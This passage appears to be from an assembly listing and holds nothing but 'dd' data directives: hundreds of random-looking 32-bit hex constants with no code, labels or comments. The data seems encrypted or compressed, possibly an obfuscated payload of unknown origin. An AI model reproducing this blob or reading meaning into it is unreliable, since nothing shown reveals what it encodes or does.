		dd 7303390Fh, 999B9B53h, 8739E2A8h, 0C2F18CEEh,	997A393Dh
		dd 0C4F1483Eh, 4092CDACh, 6E3ECC41h, 0B185DE1Eh, 4947457Eh
		dd 85E0E3AFh, 324CDEEDh, 0EDA61860h, 0FC51E526h, 0FF5C3D8Eh
		dd 1EEDB113h, 8A10593Eh, 0D6FC1833h, 4B4089Dh, 84F8FA4Bh
		dd 82A2A477h, 94079990h, 0D036CCDh, 0AE1CE89Bh,	84527801h
		dd 0CC1C6DDFh, 0D9F5EA9h, 747AA05Bh, 0EE0AA9Fh,	8820B810h
		dd 0F679C15Ch, 5D3C3715h, 22BCEC81h, 1518D1Ch, 0F032C7F5h
		dd 0CE48CE74h, 2F5761E4h, 824391Fh, 0A2B6FECh, 0C7706D25h
		dd 483692DDh, 544C3937h, 0C5E157E6h, 0C9929D1h,	0AE9AA669h
		dd 0A777E44h, 8E5DEAEBh, 89A96AADh, 0E623AF95h,	1D2FCCF5h
		dd 2FB743FDh, 0E29DF02Dh, 9D2931ADh, 0CD1D682Ch, 0CC31B899h
		dd 851222Ah, 2C866508h,	89C4E28Bh, 3577EB56h, 681D3819h
		dd 0C1EBFEB2h, 0F99A822Eh, 0E4D98DEAh, 6818D41Ch, 0BC37AC4Ah
		dd 321235F8h, 8AE0D8A2h, 0C891BF89h, 8E1E1D74h,	0EF1AE34Ah
		dd 0CE0EF169h, 85AF717Ah, 0D46C28AAh, 0CDEBF8F3h, 42A620EEh
		dd 0F7673B7Dh, 0C45A71D3h, 0E6B14F14h, 0AC48E612h, 0F5AD80E6h
		dd 3E3F4BDCh, 771B179Bh, 0FBA460EEh, 0F84965E9h, 0C89061C1h
		dd 919A4B75h, 0CD842710h, 0BE0ECC2h, 655AFD2Fh,	0F47A1C85h
		dd 1EC15F56h, 8D319A4Ch, 0C123190Bh, 0B9B8395h,	0CB005EE8h
		dd 0F1CAAB2h, 0F2AB059Dh, 88F8B0E5h, 0F50CCA0Ch, 831C90Bh
		dd 0D5D01969h, 90B62D4Ah, 4398271Eh, 0C837D124h, 151D391Bh
		dd 0B41FC0FEh, 0CD8E60AEh, 9E2C22F3h, 0F3E27495h, 25AA0575h
		dd 0ED6C2EEEh, 103AE14Ah, 0B65AA34Dh, 33620C75h, 0F62AEA94h
		dd 0FFBD2205h, 0C12C9E5Ch
		dd 0F4913E75h, 0AA057DCh, 4EDADF3Fh, 79F44EB5h,	6FAF98CDh
		dd 0CC8AC5DEh, 0D28B51B4h, 15BB728Dh, 0DBCE15A4h, 60A3FD08h
		dd 867AED52h, 151A21FCh, 0C23C8C15h, 9518A8AFh,	0F53F1898h
		dd 0E06EFC0h, 0CE118729h, 0B1F21EB1h, 1F90AD75h, 2DD0B6F1h
		dd 72EB560Ch, 4CCE1BAAh, 99309FCh, 0FB086F5h, 0C33B890Bh
		dd 15713916h, 0F9EBB9D1h, 8DC1A861h, 2E07F339h,	8CD8C1FEh
		dd 0FA060D1Eh, 2CF550B0h, 5C8E1CFAh, 0A82CAC68h, 0E3FD012Fh
		dd 0D726B7A1h, 4A445B67h, 5A283FB2h, 6DDCD72Fh,	0F49BAB42h
		dd 92D1238Eh, 0BDDEE148h, 0CBD8438Ah, 9C979A9h,	5500CCBAh
		dd 60539BF9h, 3511013Fh, 8FE225D2h, 5E9E11C7h, 0BB64E9E8h
		dd 2E2453FDh, 0E59DB72Eh, 35FABC94h, 7A19AB5Fh,	7507B540h
		dd 9D7ADF53h, 0C4B8FA42h, 2BAD5F6Ah, 0ABE933C0h, 8EF607B1h
		dd 422969C5h, 3B3335AFh, 1E3FE282h, 0EABDB849h,	176B18ECh
		dd 7029402Ch, 0BBE2659Ah, 7273DB11h, 9387601Ch,	8C2326CFh
		dd 288CA957h, 0E91DFC12h, 7A0CEF4Dh, 3A3F519Dh,	7A7AA015h
		dd 5D3FAA41h, 643AE043h, 0AD1BEF23h, 0FD95D0CFh, 3DE866E1h
		dd 0D4097D82h, 2C9E668Eh, 871D1E57h, 779F40EFh,	0E22AF6Ch
		dd 5CE4262Eh, 8696B925h, 0CFCA38DFh, 0F80AD69Ah, 1046FD90h
		dd 84917615h, 9FC0069Ch, 68954D7Dh, 61D91890h, 108238ECh
		dd 4C1067D1h, 0C26459CDh, 0E548BB94h, 0A5A552E0h, 0CCE3985Eh
		dd 0AE4391Ah, 0FBF29DA0h, 8AB56956h, 12A09CA0h,	0ED555DB8h
		dd 8B6F76DDh, 7E4AFE99h, 4642DA28h, 2E20E6EFh, 2BB2A811h
		dd 1FAB1C85h, 0D38FFD7h, 3B3AC4C8h, 0F5F89924h,	52B7CD98h
		dd 8DDC6112h, 0FA4FE940h, 0E69F5004h, 8B43A1F1h, 0C1D6F47h
		dd 19980458h, 147AEA35h, 0BA4CCD41h, 0C03FFFA1h, 0FD908A1Ch
		dd 9495DAF2h, 7945BA26h, 0A4272966h, 0F9FDA750h, 8A0C0A55h
		dd 3D7D2143h, 0CCD10BBDh, 52096353h, 0F4FE160Eh, 0C89BD61Ah
		dd 7023B46Ah, 0F8FC784Eh, 4DD85494h, 0F38341D1h, 8501FB81h
		dd 86F87DCEh, 2FA6EB9Dh, 160E9D00h, 0E0906F0Fh,	953852FCh
		dd 6A962156h, 5F94ED54h, 0C854D99Dh, 149F391Bh,	0F52ABFA5h
		dd 24A744F5h, 14F71244h, 1F155F55h, 0D5A2AE79h,	2E378C27h
		dd 0CDB35282h, 0F747FAFBh, 7194EE72h, 9A4DB730h, 13D5003Ah
		dd 0F8B0C434h, 0C997104Ch, 58E531F9h, 8C00FFF4h, 67170B4Dh
		dd 0B2DD1D28h, 0AE09F8B2h, 53DDFD5Bh, 0C1DD8309h, 0B491E7C9h
		dd 5959550Ch, 79E2B1D1h, 89E0FBCAh, 0E3FE7F39h,	0FE7EEBB6h
		dd 8D38262Fh, 767F5D64h, 2A7C739Ah, 3042B62Bh, 0A6C69A47h
		dd 49700524h, 9C916E2Eh, 0E7D55A9h, 0F1C5E55Bh,	80CB5E40h
		dd 0FD9A8D47h, 9B3D86A9h, 0FF30046Eh, 0FD13E146h, 5D92DC9Eh
		dd 1E108D81h, 0C8BDFF99h, 1C88A8D6h, 7A0527F5h,	1C1DFA0Ah
		dd 90A8850h, 48903DCFh,	0ECDEE8C6h, 0F39A1B7Eh,	19231CFh
		dd 466B8930h, 849C1415h, 21E9A919h, 86C57D1h, 253F1283h
		dd 16B0E0BEh, 13A8FD91h, 0CBF4481Ch, 8E1CC054h,	194D828h
		dd 0F31F9F99h, 0FBC58ECFh, 0D7D7D3h, 0E1ABE89Ah, 0A8385796h
		dd 0AA1238Bh, 135D8C14h, 0F99A410Ah, 0A3F73DEh,	7FF450A8h
		dd 0F2AFB7Ch, 9436A624h, 52B0F1D3h, 7C7EC5F9h, 9D961F2Ah
		dd 4E960892h, 9B8AF66Fh, 0BE2A833Ch, 0D11F4659h, 0C5240C1Ch
		dd 0FDD5253h, 0D0A5BF44h, 2DCACEDDh, 3D88B678h,	0E146EB74h
		dd 908EA07Dh, 0B373B6D6h, 21E1E11Fh, 0D49EED30h, 8B3F8104h
		dd 0EFE10F20h, 0C9F7D01Ah, 3D011D55h, 7D5CD12Ch, 0C459EE2Ch
		dd 0EEC5FDF7h, 0D502F8C9h, 4936A05Dh, 0A37F6490h, 8A05B682h
		dd 0CE50C095h, 842BDC20h, 1176E27Ah, 1A2AD91Dh,	9D06A74Fh
		dd 156BF081h, 0F0FEC0BEh, 371E8289h, 54AF7842h,	3D453E8Eh
		dd 0E9AEEF76h, 67401F71h, 0DD062F7Ah, 42D38F83h, 8E52254Ch
		dd 0CB79A007h, 6D9E7B7Eh, 1E5E3F8Eh, 639563A9h,	0E20FF92Ah
		dd 98A7D80Ch, 0C238E9E9h, 0C58A17B0h, 0FCC2B87Dh, 0EB9B1EE4h
		dd 7EE10991h, 7B6B118Dh, 0EC939008h, 693339DFh,	577AE44Eh
		dd 34E1E296h, 0AD5EF21Eh, 0E63F51EBh, 40EE2295h, 0FD09AFDAh
		dd 0F73C2646h, 0C6958B4Fh, 8632AA05h, 8205AED3h, 422E5416h
		dd 0C63558BAh, 95FBD375h, 3E6DA002h, 541390EEh,	0D912F12h
		dd 2DA69CA9h, 6EE29C32h, 517C394h, 42680449h, 0C5BF801Eh
		dd 1773E130h, 992CC494h, 0DE7AF111h, 85045541h,	0CA9B7F1h
		dd 866C5519h, 0F622FF81h, 0BF4520F2h, 201CD8BFh, 0CCECEED9h
		dd 0CE32678Ch, 70B0392Ch, 138062DDh, 0ED9A8C5Eh, 1FE351DCh
		dd 177D1C50h, 0F38E6E29h, 0E15EB92Fh, 0E071C30h, 0FBAC7495h
		dd 15E85FBAh, 5F62E5EFh, 3DEDCB1h, 3DCCED41h, 0E2E4392Eh
		dd 8C192175h, 49C3E72Ch, 8A409CF5h, 1B8EDE81h, 0EED86D3Bh
		dd 0AAB569Fh, 0EA5F2F8Fh, 0B0E4AE85h, 1268391Fh, 0DF4AAF3h
		dd 4DB2EE07h, 8BDD5396h, 2E1D3435h, 98A955AEh, 0BAE188DDh
		dd 0ADE8D58h, 0C57B64B8h, 60E5AED5h, 8119189Eh,	535EDB78h
		dd 3118B129h, 9DA2AC3Bh, 877AFBBDh, 0B002EE96h,	0FDEFC344h
		dd 11D883DBh, 8D2B40CAh, 0C3B9D042h, 0EDE6FFF4h, 1165C627h
		dd 543CDCF4h, 881C5680h, 0EA273618h, 2D78DAD9h,	0F88FE714h
		dd 194298CBh, 5A899873h, 854AB979h, 71B6569Eh, 0AC2BA464h
		dd 0E1FE097h, 2E3BA931h, 0E619B5C8h, 8DF4EB3Ch,	0AB8E961Bh
		dd 8DE5A11Ch, 1BEF5AB2h, 0F5A053E4h, 1240101Ah,	9B97BCF7h
		dd 14DAF8DCh, 2238A594h, 0ED31AAC9h, 17F1A8B9h,	84FDD88Ah
		dd 0FA1BE7D9h, 0EC69BB97h, 4489942Dh, 8CB7DBCDh, 9617DD17h
		dd 64670F1Fh, 6621D136h, 1E255BBEh, 0E26FA76Eh,	1CE2EF62h
		dd 7A951C41h, 8F26FB7Fh, 9613A2DCh, 0EC88DE05h,	0E3FC6BC1h
		dd 72D0588Bh, 84D2D86Ch, 3567ED3Dh, 0CE93FE9Bh,	350E131h
		dd 0D268D0AAh, 99EE7BD9h, 2E079E88h, 0CA384840h, 80A74ACDh
		dd 0E28F3449h, 2C95ED1Dh, 8A31BA13h, 1813733Fh,	2E06E0EAh
		dd 30E26CDBh, 346DB7C0h, 0A274086h, 10C04EECh, 0C9DEF5BBh
		dd 65398345h, 2191FA32h, 966FBE1Eh, 0F504F13Dh,	94135745h
		dd 57AC34Ch, 25DEE1BAh,	0BB12D6BCh, 3CB29C10h, 8EFDECCDh
		dd 2E049F44h, 542D4980h, 961C4BCDh, 0BF8038F3h,	3B962D2Ch
		dd 8210BA21h, 0BF54ECDDh, 0E6D0B945h, 7D20EA75h, 0CC1DE4CDh
		dd 5F65D51Eh, 9320DA85h, 0C512C5B2h, 509C402Ch,	496275B8h
		dd 0FBC54A49h, 0C71D4FA1h, 4FDF2499h, 6582B825h, 0CE320C1Ah
		dd 0EDFE8D96h, 2DD7C131h, 0DF614AE5h, 0FDA2DBDFh, 65E97884h
		dd 98CA495Eh, 47E1F5EFh, 0A7BACB01h, 0CEE5064Dh, 0CDF0C4C9h
		dd 398DCE27h, 0A2DEACBFh, 3CCACEBDh, 0ECEA3A8Bh, 19095FA1h
		dd 754AE279h, 0D5324372h, 0A3793B02h, 11AAD21Fh, 4E3544ADh
		dd 0BEE7363Eh, 2DF6A055h, 3A7AEA1Dh, 0C1443EB1h, 975053CDh
		dd 254FA6C6h, 5901CCB7h, 0BB16FE18h, 7C591D33h,	0C63DE844h
		dd 92BC8774h, 24F9FF9h,	895A5857h, 1490E233h, 7B61A74h
		dd 0D37E200Eh, 0FE33661Dh, 5B5F175h, 0D0171900h, 4A73BB81h
		dd 0CBE19044h, 0DC4A77ABh, 82CCE043h, 1530B73Bh, 4C891325h
		dd 925F5295h, 0CA43647Fh, 405DBE5Bh, 1A9C490Fh,	44EF6FAFh
		dd 0BB8CE5C8h, 0D04DF8AFh, 0C95BC8DAh, 8F26B92Dh, 0BB0235B9h
		dd 865D7DB5h, 652D5C8Eh, 0CCCB2E7Dh, 0F98B5E98h, 7FBBE076h
		dd 6312F3AEh, 8282DAD0h, 3D51CF29h, 6C4F3939h, 0EEBB4419h
		dd 9BCED94Bh, 0CCEDF88Bh
		dd 59C2D97Bh, 0A460AFE2h, 0B9A25711h, 545AE044h, 74824A75h
		dd 0BCF35A8Bh, 2064ED82h, 65EF179Dh, 54D0EB88h,	37506471h
		dd 8AF5781Fh, 482546D1h, 987F230h, 7B2DB92h, 0DB7D77C8h
		dd 0BBEAD49Ch, 742AB3A2h, 0CF435025h, 602DED1Ah, 1C044C34h
		dd 0F8AD2028h, 0F76950B4h, 0DE239D81h, 9D198C09h, 0E6BB90B1h
		dd 453C91CCh, 0E7FB991Ah, 1127500Ch, 2CD9FC55h,	0D42275D9h
		dd 47DDE225h, 0F9D541Eh, 0F5ED062Ah, 0CECDE722h, 0F6255119h
		dd 51E894C3h, 0F596DF39h, 845D953Fh, 8FA9A335h,	6B3718B9h
		dd 662AFFD3h, 3AABE226h, 5A2DF3B5h, 0C6BD3608h,	0A5B05407h
		dd 0E30B8C0Fh, 0B0A5248Fh, 410517A5h, 5927A97Eh, 64315299h
		dd 0A9FAABDCh, 0DCE0ABA5h, 0E3442C4Fh, 2325E8B1h, 0FBC56609h
		dd 44E3F52Fh, 0A1E1A121h, 0ED393AE1h, 897DAECDh, 0ABAE264Bh
		dd 0A193C130h, 0F4E7209Ah, 0D6D973D5h, 26A0164Ah, 44232A0Eh
		dd 6BA602E9h, 0AA3D4CFAh, 0C56528DFh, 12E90193h, 651A11DFh
		dd 1FCAE033h, 1DE29E61h, 0CE11D12Ch, 0E2A8F0D8h, 52726D9h
		dd 0FAD87464h, 0F575D6AEh, 5B2E6525h, 0B585B575h, 8F32B91Fh
		dd 9ADAD841h, 0F1E2FBA8h, 0F80730C8h, 92933C17h, 6C9E60C8h
		dd 0FD9CB842h, 0C2117094h, 3CBB1375h, 0DFA942E2h, 4BBD5262h
		dd 0BEDEDF1Fh, 18730120h, 0FF5AC0F4h, 0B92290EFh, 0AE9F9BBCh
		dd 0F9534CCDh, 0E3E99E67h, 4ED60B31h, 0D7598D0Ch, 0CB2373AFh
		dd 0F310CCD7h, 0DD3A92EFh, 0F3AAD3Dh, 4331B30Ch, 0CDD1E94h
		dd 0A21119F9h, 0BCFE67F1h, 0B892B44Eh, 5A95015h, 42DA1CD5h
		dd 6CDE3C64h, 0DB8550D5h, 5D3EECA0h, 476C449Fh,	0D7D800E9h
		dd 1E57864h, 5A79923h, 4D0EEDABh, 2079829Eh, 737C7A5Eh
		dd 867B8D3Bh, 0E5315637h, 711E5ADAh, 0C92D599Fh, 0CD2CBAF9h
		dd 0C358DD14h, 2EFD86Ch, 0EC2CE3C8h, 7C762BFh, 0F35EC3AEh
		dd 7B1517DCh, 0B21E3E6Fh, 0E1F7AF37h, 67102B02h, 40E939CDh
		dd 0B2124945h, 0CFB6B642h, 9BA53FF7h, 0CE0C1A94h, 0CA5B5A6Bh
		dd 42468BD2h, 0D0F1FCEh, 4A225FC6h, 40926469h, 0A5A7F4F1h
		dd 2194FA80h, 0F2354A1h, 0C12E097h, 0F1CDEAC7h,	90149CD5h
		dd 0D4E2E819h, 0DB6BAB26h, 9E863513h, 2D3AD3FBh, 22DAD06Dh
		dd 0DB1F608h, 7B1CD165h, 0ECD26B89h, 0D2093043h, 27BAE707h
		dd 0BDE1380Ch, 4A42CC0h, 897A1A17h, 0C2AC8651h,	0B1013D6Bh
		dd 65E9391Dh, 0B45D6D89h, 0EE351CF5h, 0EE2C7D5h, 0ED18C910h
		dd 0EB03ACDEh, 0EB047369h, 0F5AB3CDDh, 0AC3A7A3Dh, 0A71E800Ch
		dd 0FEB87DFAh, 74E7E2Fh, 0D4D9BC51h, 6A2F391Fh,	0EE25FFAFh
		dd 973B0096h, 150BB265h, 594C9BD2h, 4E0682DCh, 942766D5h
		dd 31FD4F79h, 49FEC5AFh, 2E50DAFDh, 0DF7E28F4h,	798BE4CEh
		dd 3CD60B63h, 28E01850h, 8DFB94Ah, 0F1C2147h, 4C40ED28h
		dd 4302233Ch, 991F15C8h, 1430C37Ch, 43469D28h, 9CAE8648h
		dd 0CAA41042h, 9D5DA594h, 0C3281A63h, 8D34BF25h, 0EF2CE681h
		dd 81F9B1BFh, 31A1EE8Ch, 0DFEEB757h, 5FE3B168h,	0F484A0A6h
		dd 0A05A9776h, 2D76AE90h, 3AB1B212h, 6E911CF7h,	98207AABh
		dd 0E42A1A25h, 1DDD74DDh, 613A38C9h, 0C1A460A9h, 1E5C8D4Ah
		dd 6A4449F8h, 0F54AED1Bh, 95D8A342h, 8EB2A0F1h,	85B02075h
		dd 0F33F4CD9h, 4C713CA8h, 8638CFD7h, 989E386Eh,	0C143B0C7h
		dd 41E2D297h, 761874B6h, 6CDBF0B1h, 9BFC0D9Dh, 2595E4F8h
		dd 80E32435h, 0ACD4BA15h, 0B51AD394h, 4EAB40F3h, 636F2CF1h
		dd 9251D852h, 3ED6A496h, 0EE20AA37h, 20037B41h,	2FB1A6E7h
		dd 5A00958Bh, 7C847F34h, 71F9E478h, 4616CF36h, 0DCC5E9Bh
		dd 0B7E95FE2h, 5C16FDE8h, 90D23919h, 0C6F3ADFDh, 0FB48C0D4h
		dd 573513Fh, 0CA30C058h, 4C0020BDh, 0C7DA1915h,	76E82BDCh
		dd 0CA1C980Dh, 728D59FEh, 412ADAD4h, 42E1D0CDh,	0B11CCCh
		dd 0E8D68421h, 7A641815h, 0F64C414Ch, 3A2121A9h, 0BECC8EBAh
		dd 0F27E90E4h, 4DDC87CDh, 0EB83072Ch, 94230438h, 34CF7C3Dh
		dd 63221C90h, 7A0A041Dh, 0C5EF2763h, 4BB14EA8h,	0A879D85Ch
		dd 84E23D0Dh, 0C59FFC65h, 4C51A0FBh, 0DB4A24Dh,	95BA5D5Ch
		dd 885CA4F3h, 24BBAA36h, 0D9249822h, 0A7F29298h, 0D48698E3h
		dd 1636287Bh, 6EA9ABCDh, 0A7EE4E6Dh, 112EA483h,	0DDD5792Fh
		dd 0CDD0F1A5h, 983D7DE4h, 7097F53Ch, 98ECB80Ah,	25059126h
		dd 5D71E894h, 0EA0AF2CEh, 0AED0813Dh, 6FA09EDCh, 0EDE60DEBh
		dd 84094ACBh, 0B44EB93Dh, 0B0C7A1C1h, 0CDE3599Dh, 4D11AA26h
		dd 0F19DCF17h, 5BE34385h, 85F8E0D1h, 0C480B5F9h, 1EF6B09Ch
		dd 6411C94Fh, 0EFB3CEF2h, 25A25881h, 0CBCDF988h, 2DEB12ADh
		dd 35423626h, 332EF839h, 6E76EBECh, 700194DBh, 629AFCE8h
		dd 9E9FA02Dh, 15DE00ADh, 0F59FAE15h, 9F195F7Eh,	0D011426Dh
		dd 0D8B6D855h, 6C01549Eh, 0E112D4D8h, 5D0FAB0Ch, 9300C054h
		dd 14AEE1E1h, 0AE6166FFh, 40CE46ADh, 73F8DF51h,	0C1A4D863h
		dd 0D5AD1854h, 66FFB0F0h, 2E1CCD5h, 9AED7600h, 84D29506h
		dd 0FC041C0Dh, 0F6344D43h, 0F607101Fh, 50B21B9Bh, 0C6D55D0Fh
		dd 0CAE346A9h, 574AFD1Eh, 0A3E2EB3Dh, 72F13E08h, 0BBCB743Bh
		dd 0CDFC41F9h, 0A789F1Ch, 0B2E20B8h, 0C5820075h, 0D37A6815h
		dd 0F3CE860Fh, 0E135ECA8h, 0D57B701Dh, 1CE3FC02h, 0E77D2AD2h
		dd 6FBEA58Fh, 0A99987A2h, 733DFEB4h, 9EAEA3BFh,	0A590E4DDh
		dd 361A5221h, 8AA2EA67h, 0C5153F3Dh, 83D2190Ch,	0ED91CDADh
		dd 0AE6D8A5Eh, 2BA946A7h, 8007D77h, 4631F51Bh, 68056CA7h
		dd 0C3A891BCh, 0BCE8CC55h, 0BF31B4EDh, 21D1A0A1h, 0C25FDD38h
		dd 18A6D5A5h, 0F40A26EBh, 0BC9803A1h, 350F9E4h,	64D51DE5h
		dd 0FF19E5ACh, 0F9F7B6Fh, 4883EA2Ah, 0FA19757Ah, 2E508045h
		dd 66093DCBh, 2D9934CFh, 0F98AD852h, 0C360EFF5h, 943C5309h
		dd 822C1F95h, 0FA10DD08h, 0C82B9980h, 402D5F1Dh, 0CE80E055h
		dd 0FA2054CFh, 0C52B0AC5h, 77C33915h, 2E585FECh, 8B6AE8E7h
		dd 2E275F0Fh, 0D832CFCBh, 2E27E01Bh, 0CB429D3Fh, 0F7BBB130h
		dd 0EE31ECA9h, 2E25B00Ch, 344AE917h, 2E241D16h,	5E00767Bh
		dd 0C75AE60Fh, 0C5633E75h, 77AE06Dh, 541ADD91h,	0ED97391Ch
		dd 9D20BB10h, 2D6820EFh, 0FE396FABh, 2E2FE713h,	7610EC9Fh
		dd 0FA21EB0Ch, 35A49275h, 2E2C411Dh, 0A63064F7h, 2E2CB00Ch
		dd 8BA2E8DBh, 2E2A5F0Fh, 0D512C0CFh, 2E2A9C88h,	79BABF33h
		dd 2E29E035h, 0F9916727h, 8F7AF6DDh, 0D522E10Bh, 0DB7AF5BDh
		dd 0F44F77D6h, 0F25AEF9Dh, 899D3F75h, 57AF3FDh,	79335595h
		dd 8DD2102Fh, 1EB69011h, 0CAF513A5h, 55B2F095h,	0E56B88F5h
		dd 0C6DD02BFh, 3FCB56ADh, 0D436FF2Fh, 74B21338h, 7040CCB3h
		dd 52C1B08Ch, 1ABC7BD1h, 1221C0DCh, 68FA3936h, 6A2ED7A8h
		dd 769DE01Ch, 0C5F78534h, 0C4F973B9h, 0FA21BCCBh, 0C5BFF00Ch
		dd 968160E1h, 0C7ADF8F1h, 0C33A77Eh, 9E5A9D1Ch,	0B210EFA9h
		dd 9A218E2Ch, 0F5202493h, 4C02EFEFh, 8521FF31h,	8C170FD0h
		dd 0A6EAF128h, 82D6F487h, 0CE29DAF1h, 0D1E514CAh, 0F73C3422h
		dd 333631DEh, 9BCEF220h, 0F01DEA57h, 0E8C0D8A3h, 8C0E4521h
		dd 0A5A5D0h, 841D1467h,	70106A9Dh, 85E724F6h, 0E4555154h
		dd 0F720B470h, 146410CFh, 0A9AADAAFh, 7FEEBB75h, 0EBA6F095h
		dd 0CF01E81h, 452AB884h, 1E5A1D1Ch, 8E56FF89h, 6EDAA49Dh
		dd 29FE08C9h, 6BACD889h, 6EE7AC46h, 24807AD7h, 8387E4D9h
		dd 0EDB9D49Ah, 0EBB3A1F9h
		dd 41A2C11Ch, 4BDD1F59h, 6A42392Dh, 7869C6C1h, 2425A1D5h
		dd 3CE3FBD4h, 7625AF6Bh, 0FCC60A34h, 7CBC0B3Ch,	0E2FA8C1Fh
		dd 6A111E9Fh, 5A30B4E3h, 2E31E021h, 0E4D60E9Ch,	89D86ED5h
		dd 88D92601h, 0ADB51C15h, 0CBAE18C1h, 8E7AFEE5h, 3B1258D8h
		dd 385DFC99h, 91CF7454h, 0EB21F4B1h, 8D4BF775h,	8D1CDC4Ah
		dd 4A32B930h, 93A3EBBFh, 8A5AED2Ch, 7512B70Ch, 93847E62h
		dd 1BAD5817h, 5FEFAEE1h, 0E89D7FA0h, 91C46F49h,	0E05DCF7Fh
		dd 5D8014A4h, 0BD2A3863h, 0DD22C6C1h, 0CE3B25C4h, 0B969D703h
		dd 0E92FD617h, 0C430A011h, 1ADBE135h, 43B6351Dh, 8E21D621h
		dd 0E67AF94Fh, 7029DBC3h, 3DE6B92Ch, 0B246B3A4h, 0E4C44F25h
		dd 73E60135h, 7E803783h, 26421009h, 0CE245813h,	79A22F11h
		dd 0C8F894h, 967CA4C4h,	724AE75Ah, 0C2F1AC9h, 0EE9C1820h
		dd 0F3629549h, 4BE8C704h, 0B370BC9Fh, 0ECC1813Dh, 0AFBD8E75h
		dd 2902D49Dh, 21DB6422h, 8B0CE1F6h, 41E7FE87h, 997AC717h
		dd 58417CA3h, 0BAFB6A9Eh, 94ACCF6Fh, 0EDBE1E6Eh, 81B3FFAAh
		dd 0F898181Ch, 8E4B7210h, 34E1CE91h, 2E07F059h,	6E8276BEh
		dd 27AC50Fh, 9612F4A5h,	78229CC3h, 0BBDAE138h, 66D0C369h
		dd 0E7BA54A0h, 0B2BA6E53h, 0B2A9666Ch, 0A55D1AAh, 96E9ED28h
		dd 20B3E118h, 6D2729C2h, 0FB9EE51Ch, 0FD52BF33h, 0EA27ACA1h
		dd 723E5F32h, 49497E4Ah, 2227D93h, 0E5D998E5h, 252C0180h
		dd 9B7F74A1h, 2059693Ch, 0B49969CBh, 0F2609855h, 7DB3FEADh
		dd 617CCFD4h, 5A30628Dh, 65F6E0A4h, 0BFA5393Fh,	56727D9Ah
		dd 0BC199A49h, 2E0E406Bh, 4CBE41D3h, 0D69C6F92h, 6B3F9329h
		dd 0A849524Ah, 1A3D4225h, 0C5DEA5B6h, 16EF4E03h, 1BA2E077h
		dd 490EFB61h, 0A16FFA3h, 0C987A5F1h, 7F703938h,	0C5DEACF1h
		dd 4E249143h, 540B3BDAh, 0EF1575B4h, 1C2D6069h,	7FEB7005h
		dd 0D2E58B6h, 0BB85C899h, 0E9EDC0ABh, 2E0A309Ch, 0C8A2692Fh
		dd 5E1738C5h, 0C45243AAh, 843CEF8Bh, 0D17AD74Ch, 9120F2A7h
		dd 487D539Dh, 69C56B01h, 0ECACDDF2h, 96AD7B11h,	71E6095h
		dd 972C27C7h, 49DD6FDCh, 74DA9075h, 6BF2AE49h, 7D7AD54Ch
		dd 0C331F598h, 9AD4C4C7h, 0C4C1D464h, 73207F22h, 0BCD2A692h
		dd 0A5DFA144h, 4CE2E8D0h, 387ACC81h, 3A069E0h, 13404BCAh
		dd 8CA03903h, 90FD06A2h, 0C4AC104Fh, 978DB4E9h,	0D61051AFh
		dd 7930F299h, 0C40D6B18h, 0B5127EBAh, 0E032680Dh, 75C16F93h
		dd 0FAD96399h, 49A02B98h, 957EA055h, 91AC104Fh,	46AEDFCDh
		dd 0E1A35CC2h, 0BC4DEE80h, 8E5618CFh, 40159BA5h, 0C3B24E6Fh
		dd 3CBA6D04h, 0B0DE7FF1h, 7D03DD9Ah, 0DFE7AC55h, 5CADE97Ch
		dd 77F4F09Ch, 0DB56DDBh, 22DCDE1Ch, 0C3B53641h,	71F138C8h
		dd 0DC4B7F04h, 0B0D8A1EFh, 0D7610FA1h, 2F676F6Ah, 0DD2DE5Bh
		dd 2E1C9E51h, 44426C6Eh, 0D27ADA0Fh, 0A030CA9Fh, 6BACEE9Eh
		dd 8D7CB91Ch, 7E94391Ch, 5AA5126Ch, 7B889C9Ch, 7B1CC3F1h
		dd 8EA49C71h, 2E191CDDh, 83C96CC5h, 62E13936h, 48495D4Ah
		dd 3C215943h, 2DE7E69Ch, 0BA48461Fh, 0D51D7125h, 54326212h
		dd 59CDCE6Ch, 7C63A528h, 0CD1125B9h, 11AE6F75h,	2DE5189Ch
		dd 0F1696FB4h, 0BCAC989Fh, 87F2AE9Eh, 46AC8575h, 1DA64516h
		dd 40A1859Ch, 0BB7032A2h, 497D6752h, 619FEF8h, 267AA22Dh
		dd 1A0559Fh, 6B8319B7h,	0E1709722h, 0A50E5A93h,	8E9918DCh
		dd 43589C98h, 4489ACD6h, 0B71EE4DFh, 0B2F8B99Eh, 271F7061h
		dd 0DEA80B95h, 69D98691h, 53EAD0ECh, 9D2B6BEDh,	0F1FDA5h
		dd 0BF60B934h, 9CADEA47h, 0B630EA08h, 877AAE15h, 12E2EBA7h
		dd 0ADE9D53Ch, 0D3108179h, 71D97E75h, 6C051337h, 9B61A72Fh
		dd 0E8F83F2Fh, 79F3E0F2h, 785915B2h, 4817F01Eh,	0B49B5B0Bh
		dd 908F8E01h, 0DB90F02Ch, 0F1E3EF91h, 49E9BDCh,	0FE5A1C3Ch
		dd 659E9C3Dh, 0C709A33Fh, 0A9A39916h, 7B448F9Ah, 0ABC35917h
		dd 1011CDDh, 89F6F016h,	9CA9CED0h, 4E10A6B1h, 0C907BF31h
		dd 0F5077C3Eh, 59A1E62Ch, 5CF68655h, 0EE3F9C77h, 4A19ED16h
		dd 0F4B92745h, 0BDA6186Dh, 40B1C835h, 293EC299h, 0FDBDFD2Fh
		dd 8FA61D43h, 0FC1E8609h, 551ACF47h, 0CA1C1A11h, 0E9A03118h
		dd 9E50B089h, 113F9AE0h, 6496E108h, 0F5241F95h,	0CFAA98C4h
		dd 0BD80E052h, 0C52DDE23h, 59DA1A37h, 0C623F8E4h, 34DD667Ch
		dd 0BE3ABA0Bh, 0C5DB1E4Dh, 0CECE5C50h, 8B2CC4EFh, 0A9B858B5h
		dd 15A8E41h, 1425FAB8h,	0A7CA6695h, 0C3E4779Ch,	141C606Ah
		dd 23361FADh, 0D41B7711h, 463D5E36h, 0FD110EFDh, 48B3F46Eh
		dd 0A3008A1h, 0CB06C021h, 4DDD9625h, 0DDC11ED5h, 0F1CDEF63h
		dd 0BE9F66DAh, 564925EBh, 0CDA7CB4Dh, 36C45F8Ch, 9546AD70h
		dd 20FAA0C7h, 9771DC9Eh, 43A3673Ch, 0B83FC7D7h,	0AD94A9Dh
		dd 0A9057CE9h, 3104608Ah, 0C63E7058h, 8BBF6E8Dh, 8258AE23h
		dd 5F22FD2Ch, 0FCE9EE55h, 4D71ED12h, 0C4766334h, 0CADA32Ch
		dd 4C415CDFh, 0ECBB48C5h, 0E9306ECFh, 3E0B598h,	46E9C74Ah
		dd 0FB502820h, 57302C01h, 7030E699h, 948CCEA0h,	433865B3h
